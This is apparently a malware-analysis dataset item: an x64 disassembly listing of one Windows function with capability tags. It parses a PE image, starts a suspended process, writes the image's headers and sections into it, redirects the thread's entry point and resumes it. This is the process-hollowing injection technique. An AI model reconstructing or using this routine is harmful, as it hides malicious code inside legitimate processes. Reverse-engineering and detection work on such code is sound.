Function at 0x14006ddb4
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x78]
sub rsp, 0x150
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r12, r8
mov rsi, rdx
mov r15, rcx
xor ebx, ebx
mov r13b, bl
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
call fcn.1400023ac
mov dil, bl
mov r14b, byte [rbp + 0xb8]
test r14b, r14b
je 0x14006dece
movdqa xmm0, xmmword [0x1400810b0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], bl
mov r9b, byte [rbp + 0xb0]
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
mov ecx, eax
call fcn.14006d5f4
test al, al
je 0x14006de88
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14006de88
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rbx + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140009098
test eax, eax
je 0x14006de88
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x80]
call fcn.140071134
movzx edi, bl
test eax, eax
lea eax, [rbx + 1]
cmovne edi, eax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14006dec5
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006dec0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e438
call fcn.1400423d4
test dil, dil
je 0x14006e40f
lea rdx, [0x140081f18]
lea rcx, [rsp + 0x60]
call fcn.14006ec6c
cmp qword [rax + 0x18], 0x10
jb 0x14006dee9
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14006df32
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006df2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e43e
call fcn.1400423d4
movdqa xmm0, xmmword [0x1400810b0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], bl
test rdi, rdi
je 0x14006e40f
lea rdx, [0x140082b20]
lea rcx, [rbp - 0x60]
call fcn.14006ec6c
cmp qword [rax + 0x18], 0x10
jb 0x14006df67
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a9f20], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14006dfb5
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006dfb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e444
call fcn.1400423d4
lea rdx, [0x140082b48]
lea rcx, [rbp - 0x60]
call fcn.14006ec6c
cmp qword [rax + 0x18], 0x10
jb 0x14006dfcf
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a9f28], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14006e01d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e018
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e44a
call fcn.1400423d4
lea rdx, [0x140082b70]
lea rcx, [rbp - 0x60]
call fcn.14006ec6c
cmp qword [rax + 0x18], 0x10
jb 0x14006e037
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a9f30], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14006e085
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e080
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e450
call fcn.1400423d4
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x14006e2eb
movsxd rbx, dword [r15 + 0x3c]
add rbx, r15
cmp dword [rbx], 0x4550
jne 0x14006e2e9
lea rdx, [rbp + 0xb8]
mov rcx, rsi
call fcn.140079730
mov ecx, 0x14c
mov eax, dword [rbp + 0xb8]
cmp word [rbx + 4], cx
jne 0x14006e0cf
test eax, eax
jne 0x14006e40f
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x14006e0e3
cmp eax, 6
jne 0x14006e40f
lea rdi, [rsp + 0x60]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x20]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x20], edx
mov dword [rbp + 0x1c], 0x101
xor edi, edi
mov word [rbp + 0x20], di
lea rax, [rsp + 0x60]
xor r9d, r9d
test r14b, r14b
je 0x14006e155
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r8, r12
mov rdx, rsi
mov rcx, qword [rbp - 0x78]
call fcn.14001295c
jmp 0x14006e187
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call fcn.140012ab8
test eax, eax
je 0x14006e2e9
mov r9d, 4
mov r8d, 0x1000
lea r14d, [r9 + 4]
mov edx, r14d
xor ecx, ecx
call fcn.140072374
mov rsi, rax
mov qword [rbp - 0x40], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140012888
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x14006e2e2
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, r14d
lea r8, [rbp - 0x30]
call qword [0x1400a9f20]
neg byte [rbp + 0xa8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
call fcn.14001268c
mov qword [rbp - 0x68], rax
mov rcx, qword [rsp + 0x60]
test rax, rax
je 0x14006e2e2
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], rdi
mov r8, r15
mov rdx, rax
call fcn.14001220c
movzx edi, word [rbx + 0x14]
add rdi, 0x2c
xor r12d, r12d
mov r14d, r12d
cmp r12w, word [rbx + 6]
jae 0x14006e28d
add rdi, rbx
lea esi, [r12 + 1]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r15
mov edx, dword [rdi - 8]
add rdx, qword [rbp - 0x68]
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x60]
call fcn.14001220c
lea rdi, [rdi + 0x28]
add r14d, esi
movzx eax, word [rbx + 6]
cmp r14d, eax
jl 0x14006e259
mov rsi, qword [rbp - 0x40]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.14001220c
mov eax, dword [rbx + 0x28]
add rax, qword [rbp - 0x68]
mov qword [rsi + 0x80], rax
mov rdx, rsi
mov rcx, qword [rsp + 0x68]
call qword [0x1400a9f28]
mov rcx, qword [rsp + 0x68]
call qword [0x1400a9f30]
mov eax, 1
mov r13b, al
jmp 0x14006e2e9
xor edx, edx
call fcn.1400791b4
xor ebx, ebx
cmp qword [rbp - 0x80], rbx
je 0x14006e3ea
lea rdx, [0x140082b90]
lea rcx, [rsp + 0x60]
call fcn.14006ec6c
nop
cmp qword [rax + 0x18], 0x10
jb 0x14006e311
mov rax, qword [rax]
mov rcx, rax
call fcn.1400131b8
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14006e359
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e354
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e456
call fcn.1400423d4
movdqa xmm0, xmmword [0x1400810b0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], bl
test rdi, rdi
je 0x14006e3e6
lea rdx, [0x140082bb0]
lea rcx, [rbp - 0x60]
call fcn.14006ec6c
cmp qword [rax + 0x18], 0x10
jb 0x14006e38a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a9f88], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14006e3db
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e3cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e432
call fcn.1400423d4
mov rax, qword [0x1400a9f88]
test rax, rax
je 0x14006e3e6
mov rcx, qword [rbp - 0x80]
call rax
mov qword [rbp - 0x80], rbx
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x14006e3fc
call fcn.140009714
mov qword [rbp - 0x78], rbx
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14006e40a
call fcn.140009714
mov al, r13b
jmp 0x14006e411
xor al, al
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140046b24
int3
call fcn.140046b24
int3
call fcn.140046b24
int3
call fcn.140046b24
int3
call fcn.140046b24
int3
call fcn.140046b24
int3
call fcn.140046b24
int3